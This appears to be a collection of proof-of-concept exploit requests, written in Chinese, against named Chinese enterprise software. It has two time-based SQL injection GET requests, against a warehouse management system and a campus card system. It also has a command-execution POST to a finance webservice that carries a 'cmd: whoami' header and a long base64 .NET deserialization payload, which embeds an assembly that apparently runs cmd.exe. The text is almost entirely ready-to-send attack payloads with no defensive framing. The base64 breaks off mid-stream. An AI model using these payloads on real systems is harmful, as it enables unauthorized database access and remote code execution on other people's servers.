1. 飞讯云 WMS /MyDown/MyImportData 前台 SQL 注入

```
GET /MyDown/MyImportData?opeid=' WAITFOR DELAY '0:0:5'-- AtpN HTTP/1.1
Host: ip
```

2. 科讯一卡通管理系统 dormitoryHealthRanking 存在 SQL 注入漏洞

```
GET /api/dormitoryHealthRanking?building=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

3. 浪潮云财务系统 bizintegrationwebservice.asmx 命令执行漏洞

```
POST /cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
cmd: whoami
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetChildFormAndEntityList xmlns="http://tempuri.org/">
<baseFormID>string</baseFormID>
<baseEntityID>string</baseEntityID>
<strFormAssignment>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5G
b3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2
E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAA
EVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAA
AAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3
```

QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG
9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAA
AACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAA
AAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLld
vcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bH
R1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3
RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYX
RlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULb
WVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAA
CRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAAB
AAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAA
AEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLk
NvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhh
c2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvb
GxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4
PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAEAAAAk1akAADAAAABAAAAP//AAC4AAAA
AAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOAL
QJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAA
AAAUEUAAEwBAwBrydRkAAAAAAAAAADgAAIhCwELAAAIAAAABgAAAAAAN4mAAAAIAAAAE
AAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAgAAAAAIAAAAAAADAECFAAAQA
AAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgAAAAAAAAA
AAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAA
AudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAACoA
gAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAAAgA
AAA4AAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAwCYAAAAAAABIAAAAAg
AFADAhAABgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAbMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvB
gAACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEAAHBvCwAACgZvDAAACm8NAAAKchEAAH
BvDgAACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RAAAKB28KAAAKF28SAAA
KB28KAAAKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt4ABm8HA
AAKbxgAAAoGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAwAAA
B2NC4wLjMwMzE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAA
JAAAACNVUwDABAAAEAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAACAAABRxQC
AAkAAAA+iUzABYAAAEAAAAOAAAAAgAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAA
ACgABAAAAAAAGACkAIgAGAFYANgAGAHYANgAKAKgAnQAKAMAAnQAKAOgAnQAOABsBCA
EOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgAGACQCGgIGAEQCGgIGAGkCIgAAAAAAQAAAAAA
AQABAAAAEAAXAAAABQABAAEAUCAAAAAAhhgwAAoAAQARADAADgAZADAACgAJADAACgA
hALQAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBN
QBJAJoBOgBRAKYBPwBZALYBRABBAL0BMABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADE
CUwBpAE8CWAAxAFkCMAAxAF8CCgAxAGUCCgAuAAsAHASHuABMAbgBcAASAAAAAAAAAAA
AAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAABABkAAAAAAAQAAAAAAAAAAAAABMAnQAA
AAABAAAAAAAAAAAAAAAAQAiAAAAAAAAAAA8TW9kdWxlPgBrd3V3YWNwdy5kbGwARQBtc
2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2Vydm

ljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0e
UF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50A
Eh0dHBTZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1J
lc3BvbnNlAENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFByb2Nlc3NTdGFydEluZm8
AZ2V0X1N0YXJ0SW5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1JlcXVlc3QAU3lzdG
VtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0hlYW
RlcnMAZ2V0X0l0ZW0AU3RyaW5nAENvbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdF
N0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0YW5kYXJkRXJyb3IAc2V0X1VzZVNoZWxsRXhl
Y3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyAGdldF9TdGFuZGFyZE91dHB1dABUZX
h0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZXB0aW9uAAAAD2MAbQ
BkAC4AZQB4AGUAAAdjAG0AZAAAABy8AYwAgAAAAAAA2IZXU/G1oT7AM+EyvNpdOAAi3elxWG
TTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQQgABI
pBCABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAAeAQABAF
QCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAAziYAAAAgAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAMAmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAA
AA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAA
AAAAAAAAAAAAAAEAAAAAAEgAAABYQAAATAIAAAAAAAAAAAAAATAI0AAAAVgBTAF8AVgBFAFI
AUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAAAD8AAAAAA
AAABAAAAAIAAAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AA
AAAACQABAAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByA
GkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwA
AgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpA
GwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAAPAANAAEASQBuAHQ
AZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAAKAAC
AAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQ
BuAGEAbABGAGkAbABlAG4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAA
ANAAIAAEAUAByAG8AZAB1AGMAdABBWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMA
AAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuAD
AALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0Z
W0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJs
eU5hbWUBAAEIBiEAAAD+AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJh
YmxlSXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwg
Q3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdG
VtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU
9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c
3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9r
ZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAAAAAAoICAEAAA
ABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW
1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIF
ZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM
1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU
3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwg
UHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuM
C4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQ
QAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAA
GKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyY
XRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0Z
W0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJ
saWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLj
AsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N
5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2Nv
cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3
N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZX
V0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAc
AAAAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5Ma
W5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbG
xlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJ
zaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxO
TM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1
YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZl
cnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1
NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACg
gIAQAAAAEXAAAADwAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN
0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjA
uMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODld

LFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy
YWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAA
AAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlV
JLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW
9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMW
Q1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAARsAAA
APAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoA
AABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG
9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAAD
wAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3R
pb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsL
CBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAA
AIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWd
hdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkR
lbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9
uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAA
CUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAJSQAAAAExAAAAJAAA
AAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCA
AAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEd
HlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1
ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph
dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW
10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5
VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2
NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW
I3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZ
W1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpY
WxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0d
XJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGV
tLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5I
ExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVt
LkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmV
mbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV
0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb2
5zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPT
QuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4
OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tl
eVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUe
XBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5
cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAt
gNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZ
WAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZX
V0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJza
W9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOT

M0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3Rlb
S5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY
0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwg
Q3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAA
AoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW
1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFs
LCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yC
gFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5
lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW
0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3J
saWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzd
hNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3l
zdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVt
bU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbC
wgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjA
uMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODld
LFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZX
V0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAHASHA
AAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQw
AAAAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5
Cb29sZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1
tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZS
